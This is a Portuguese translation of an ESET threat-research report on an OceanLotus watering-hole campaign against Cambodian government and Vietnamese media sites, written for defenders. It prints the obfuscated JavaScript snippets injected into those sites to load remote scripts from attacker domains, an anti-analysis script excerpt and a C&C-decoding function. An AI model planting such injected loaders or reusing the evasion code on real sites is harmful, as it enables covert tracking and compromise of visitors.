Os especialistas da ESET analisaram a nova campanha de watering hole, que tem como alvo vários locais no sudeste da Ásia. Alegadamente, os atacantes estão em operação desde o início de setembro de 2018. A campanha é diferente em escala - conseguimos descobrir 21 recursos comprometidos, incluindo os sites do Ministério da Defesa do Camboja, Ministério das Relações Exteriores e Cooperação Internacional do Camboja, além de vários jornais e blogs vietnamitas.
Com base na análise, descobrimos que a campanha está sendo realizada pelo grupo
OceanLotus , também conhecido como
ART32 e ART-S-00. O grupo opera desde pelo menos
2012 e é especializado em espionagem cibernética, com um interesse particular em agências e dissidentes do governo.
Parece que a campanha é uma evolução do esquema OceanLotus, que os pesquisadores da Volexity
documentaram em 2017 sob o nome Framework B. Desde o ano passado, o grupo cibernético aprendeu a dificultar a análise de estruturas maliciosas. Entre outras melhorias, notamos o uso da criptografia de chave pública para a troca da chave de sessão do AES. O método é usado para criptografar a troca de dados que não permite que produtos de segurança interceptem a carga útil final. Além disso, os invasores mudaram do HTTP para o WebSocket para ocultar a troca de dados maliciosos.
Cada um dos sites comprometidos descobertos pelos especialistas da ESET redirecionou os visitantes para um domínio separado controlado pelo OceanLotus.
A imagem abaixo mostra as regiões de destino da campanha.
Figura 1. Geografia dos sites comprometidosOs domínios mais comprometidos são os meios de comunicação ou relacionados ao governo do Camboja. A seguir, é apresentada uma lista de vítimas. Nós os alertamos sobre o comprometimento em outubro, mas no final de 2018, scripts maliciosos permaneciam em alguns sites:
- baotgm [.] Net - mídia vietnamita (sede em Arlington, Texas)
- cnrp7 [.] Org - site do Partido Nacional da Salvação no Camboja
- conggiaovietnam [.] Net - conteúdo religioso em vietnamita
- daichungvienvinhthanh [.] Com - conteúdo religioso em vietnamita
- danchimviet [.] Info - Mídia vietnamita
- danviet [.] Vn - Mídia vietnamita
- danviethouston [.] Com - Mídia vietnamita
- fvpoc [.] Org - organização pública vietnamita
- gardencityclub [.] Com - local do clube de golfe em Phnom Penh, Camboja
- lienketqnhn [.] Org - Mídia vietnamita
- mfaic.gov [.] Kh - Ministério dos Negócios Estrangeiros e Cooperação Internacional do Camboja
- mod.gov [.] Kh - Ministério da Defesa do Camboja
- mtgvinh [.] Net - conteúdo religioso em vietnamita
- nguoitieudung.com [.] Vn - Mídia vietnamita
- phnompenhpost [.] Com - mídia cambojana em inglês
- raovatcalitoday [.] Com - site em vietnamita
- thongtinchongphandong [.] Com - meios de comunicação em vietnamita
- tinkhongle [.] Com - Mídia vietnamita
- toithichdoc.blogspot [.] Com - blog vietnamita
- trieudaiviet [.] Com - site em vietnamita
- triviet [.] Notícias - Mídia vietnamita
Em ataques a bebedouros, os atacantes geralmente comprometem os sites que são frequentemente visitados por possíveis vítimas. No entanto, nesta campanha, o grupo OceanLotus comprometeu vários sites populares. Abaixo está uma lista de sites comprometidos e sua
classificação Alexa : global e no país em que o site é mais popular. Por exemplo, o site do jornal Dan Viet (danviet [.] Vn) no final de 2018 estava na 116ª linha em termos de participação no Vietnã.
- danviet [.] Vn - 12 887/116
- phnompenhpost [.] Com - 85 910/18 880
- nguoitieudung.com [.] Vn - 261 801/2 397
- danchimviet [.] Info - 287 852/144 884
- baotgm [.] Líquido - 675 669/119 737
- toithichdoc.blogspot [.] Com - 700 470/11532
- mfaic.gov [.] Kh - 978 165/2 149
- conggiaovietnam [.] Net - 1.040 548/15 368
- thongtinchongphandong [.] Com - 1 134 691/21 575
- tinkhongle [.] Com - 1 301 722/15 224
- daichungvienvinhthanh [.] Com - 1.778.418 / 23.428
- mod.gov [.] Kh - 4.247.649 / 3.719
Análise
Para todos os sites comprometidos, métodos semelhantes foram usados. Os invasores adicionaram um pequeno pedaço de código JavaScript à página principal ou a um arquivo JavaScript publicado no mesmo servidor. Um fragmento de código um pouco ofuscado (veja abaixo) carrega outro script de um servidor controlado pelo invasor. Abaixo está um trecho de JavaScript adicionado a
https://www.mfaic.gov[.]kh/wp-content/themes/ministry-of-foreign-affair/slick/slick.min.js
, que baixa o arquivo de
https://weblink.selfip[.]info/images/cdn.js?from=maxcdn
.
(function() { var pt = "http"; var l = document.createElement('script'); l.src = pt + "s://" + arguments[0] + arguments[2] + arguments[3] + 'ip.' + 'info/images/cdn.js?from=maxcdn'; document.getElementsByTagName('body')[0].appendChild(l) })('web', 'a', 'link', '.self');
Para evitar a detecção, os atacantes tomaram as seguintes medidas:
- Eles ofuscam scripts para impedir que URLs finais estáticos sejam alocados
- O URL se parece com a biblioteca JavaScript real usada pelo site
- Para cada site comprometido, um domínio separado e um URI são usados.
- Todos os sites comprometidos possuem scripts diferentes. A seguir, um script sendo implementado em um dos sites comprometidos:
var script = document.createElement("script"); var i = 'crash-course'; var s = "fzgbc knowsztall znfo"; var _ = '/'; var e = "VisitorIdentification.js?sa=" + i; script.async = true; script.src = "htt" + "ps:" + _ + _ + s.split(" ").map(x => x.replace("z", "i")).join(".") + _ + e; var doc = document.getElementsByTagName('script')[0]; doc.parentNode.insertBefore(script, doc);
Primeira etapa
Dependendo da localização do endereço IP do visitante, o servidor do primeiro estágio (por exemplo,
weblink.selfip[.]info
para
mfaic.gov[.]kh
) transmite um script falso (biblioteca JavaScript legítima aleatória) ou um script do primeiro estágio (por exemplo, SHA- 1: 2194271C7991D60AE82436129D7F25C0A689050A). Nem todos os servidores executam verificações de localização, mas se houver, apenas os visitantes do Vietnã e do Camboja recebem um script malicioso.
O script do primeiro estágio possui várias verificações para impedir a detecção, como mostrado abaixo.
[…] function t(n) { var r = this; !function (t, n) { if (!(t instanceof n)) throw new TypeError('Cannot call a class as a function'); }(this, t), this.t = { o: null, s: !0 }, this.scr = !0, this.r(), this.i = !0, window.addEventListener('scroll', function () { ri || r.scr && !rts && (r.scr = !1, rc(n)), ri = !1; }); } return t.prototype.r = function () { var t = this; setInterval(function () { var n = window.outerWidth - window.innerWidth > 160, r = window.outerHeight - window.innerHeight > 160, e = n ? 'vertical' : 'horizontal'; r && n || !(window.Firebug && window.Firebug.chrome && window.Firebug.chrome.isInitialized || n || r) ? (tts = !1, tto = null) : (tts = !0, tto = e); }, 500); } […]
O script aguarda até a vítima rolar para a página. Ele também verifica a resolução da janela e se o Firebug, um plug-in baseado em navegador para analisar páginas da Web, está ativado. Se pelo menos uma das verificações falhar, a execução será encerrada.
Ele então descriptografa o domínio do servidor de comando C&C usando um algoritmo personalizado. Por exemplo, 3B37371M1B1B382R332V1A382W36392W2T362T1A322T38 significa
wss://tcog.thruhere[.]net
. Para cada domínio do primeiro estágio, os atacantes registraram adicionalmente um domínio do segundo estágio e todos eles estão localizados em servidores diferentes. O código abaixo é equivalente à função de descriptografia escrita em Python.
def decrypt(encrypted_url): s = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" return "".join(chr(s.index(encrypted_url[e]) * 36 + s.index(encrypted_url[e+1])) for e in range(0,len(encrypted_url),2))
Após decifrar o endereço C&C, o script envia uma sequência exclusiva de 15 dígitos e recebe e executa o script do segundo estágio. A troca de dados é realizada via WebSocket ou SSL. O protocolo fornece comunicação bidirecional simultânea entre o cliente e o servidor. Isso significa que, depois que um cliente estabelece uma conexão, o servidor pode enviar dados para o cliente, mesmo sem uma solicitação. No entanto, em um caso específico, o protocolo é usado principalmente para evitar a detecção.
Segunda etapa
O roteiro do segundo estágio é para reconhecimento. Os desenvolvedores do OceanLotus usaram a biblioteca fingerprintjs2 da Valve, disponível no
GitHub , com pequenas alterações - adicionando compartilhamento de rede e criando um relatório especial.
A figura abaixo mostra as várias ações executadas pelo script. A comunicação é feita por meio de uma sessão do WebSocket iniciada na primeira etapa.
Figura 2. Esquema do segundo estágio da carga útilA comunicação é criptografada usando a chave de sessão AES gerada pelo servidor. Ele é criptografado com uma chave pública RSA de 1024 bits e enviado ao cliente, portanto, não é possível descriptografar a troca de dados entre o cliente e o servidor.
Em comparação com as versões anteriores da estrutura do poço de água OceanLotus, é mais difícil se proteger disso, porque a transmissão de dados pela rede não pode ser detectada e descriptografada. Isso impede a descoberta de dados pela rede. A chave pública transmitida pelo servidor não muda e está listada na seção IoC.
O script de reconhecimento cria um relatório semelhante ao abaixo e o envia ao servidor C&C do segundo estágio.
{ "history": { "client_title": "Ministry%20of%20Foreign%20Affairs%20and%20International%20Cooperation%20-", "client_url": "https://www.mfaic.gov.kh/", "client_cookie": "", "client_hash": "", "client_referrer": "https://www.mfaic.gov.kh/foreign-ngos", "client_platform_ua": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36", "client_time": "2018-10-21T12:43:25.254Z", "timezone": "Asia/Bangkok", "client_network_ip_list": [ "192.168.xx", "xxxx" ], "client_api": "wss://tcog.thruhere.net/", "client_zuuid": "defaultcommunications39e10c84a0546508c58d48ae56ab7c7eca768183e640a1ebbb0cceaef0bd07cedefaultcommunications9360af458bb80c43fd1f73190b80dbfb0b276c48a8a6d453444dae086bc77be7", "client_uuid": "a612cdb028e1571dcab18e4aa316da26" }, "navigator": { "plugins": { "activex": false, "cors": true, "flash": false, "java": false, "foxit": true, "phonegap": false, "quicktime": false, "realplayer": false, "silverlight": false, "touch": false, "vbscript": false, "vlc": false, "webrtc": true, "wmp": false }, "_screen": { "width": 1920, "height": 1080, "availWidth": 1920, "availHeight": 1080, "resolution": "1920x1080" }, "_plugins": [ [...]
Este relatório é quase idêntico ao outro gerado pelo
OceanLotus Framework B , documentado pela Volexity em 2017. Suas seções são semelhantes e contêm erros de digitação idênticos. Devido a essa semelhança e localização de metas, podemos dizer com um alto grau de certeza que a OceanLotus está conduzindo a campanha.
O relatório gerado contém informações detalhadas sobre o navegador da vítima e o site visitado: agente do usuário, cabeçalho da solicitação do Referenciador HTTP, endereço IP local e externo, plug-ins e configurações do idioma do navegador.
Além disso, cada máquina possui dois identificadores exclusivos:
client_zuuid e
client_uuid . Eles podem ser usados para identificar usuários e rastrear suas visitas. Na verdade, esses identificadores estavam presentes na versão 2017 da estrutura e o
client_uuid foi calculado de maneira semelhante.
O valor de
client_zuuid é a concatenação dos vários valores de deviceId contidos em navigator.mediaDevices.enumerateDevices. Dispositivos são dispositivos externos aos quais o navegador tem acesso, como câmeras e microfones. Portanto, o valor para um usuário deve corresponder durante diferentes visitas do mesmo computador.
O valor
client_uuid é o hash MD5 das impressões digitais alocadas por fingerprintjs2. Os dados coletados incluem o agente do usuário do navegador, idioma, fuso horário, plug-ins do navegador e fontes acessíveis pelo navegador. E novamente - o valor deve ser idêntico para todas as visitas, apenas se, por exemplo, o usuário não atualizar o navegador ou não fizer login a partir de outro dispositivo.
Por fim, o servidor pode enviar código JavaScript adicional ao computador da vítima, talvez este seja o componente entregue. Infelizmente, devido ao uso da chave de sessão do AES para descriptografar a troca de dados, não conseguimos determinar qual componente é entregue pelos invasores nas amostras in-the-wild. Além disso, a carga útil é entregue apenas a certas vítimas. Assim, usando uma máquina de teste, não fomos capazes de obtê-los. No entanto, de acordo com relatórios anteriores, as campanhas do OceanLotus são direcionadas para phishing. Por exemplo, o Volexity em um relatório
escreveu que os usuários viram uma janela pop-up solicitando que autorizassem o acesso através do protocolo OAuth aberto à conta do Google da vítima para o OceanLotus Google App. Usando essa técnica, os atacantes podem acessar os contatos e e-mails da vítima.
Infraestrutura de rede
Para um trabalho secreto máximo, os operadores da OceanLotus registraram um domínio para o primeiro e o segundo estágio de cada um dos sites comprometidos. Cada domínio está hospedado em um servidor separado com seu próprio endereço IP. Pelo menos 50 domínios e 50 servidores estão registrados para esta campanha.
A maioria dos domínios de primeiro estágio é registrada em serviços com nomes de domínio gratuitos; os domínios de segundo estágio são pagos principalmente. Entre outras coisas, seus nomes são disfarçados de legítimos. Abaixo está uma lista de serviços que os invasores tentaram copiar - C&C e um domínio legítimo, respectivamente:
- cdn-ampproject [.] Com / cdn.ampproject.com
- bootstraplink [.] Com / getbootstrap.com
- sskimresources [.] Com / s.skimresources.com
- widgets-wp [.] Com / widgets.wp.com
O número de domínios usados e sua semelhança com sites legítimos podem complicar a detecção por uma pessoa que está visualizando o tráfego de rede.
Conclusão
Apesar da atenção dos pesquisadores de segurança, a OceanLotus continua atacando com sucesso alvos no sudeste da Ásia. Além disso, o grupo aprimora as ferramentas, incluindo em seu arsenal uma estrutura para ataques de watering hole, um malware para Windows e macOS. As atualizações recentes da estrutura discutidas neste relatório indicam que os invasores aprimoraram suas habilidades.
Para limitar o número de possíveis vítimas, notificamos os proprietários dos sites comprometidos e explicamos como remover o código JavaScript malicioso. No entanto, alguns deles não demonstraram vontade de aceitar informações e assistência.
Os pesquisadores da ESET continuarão monitorando o desenvolvimento do grupo OceanLotus. Indicadores de comprometimento podem ser encontrados no
GitHub .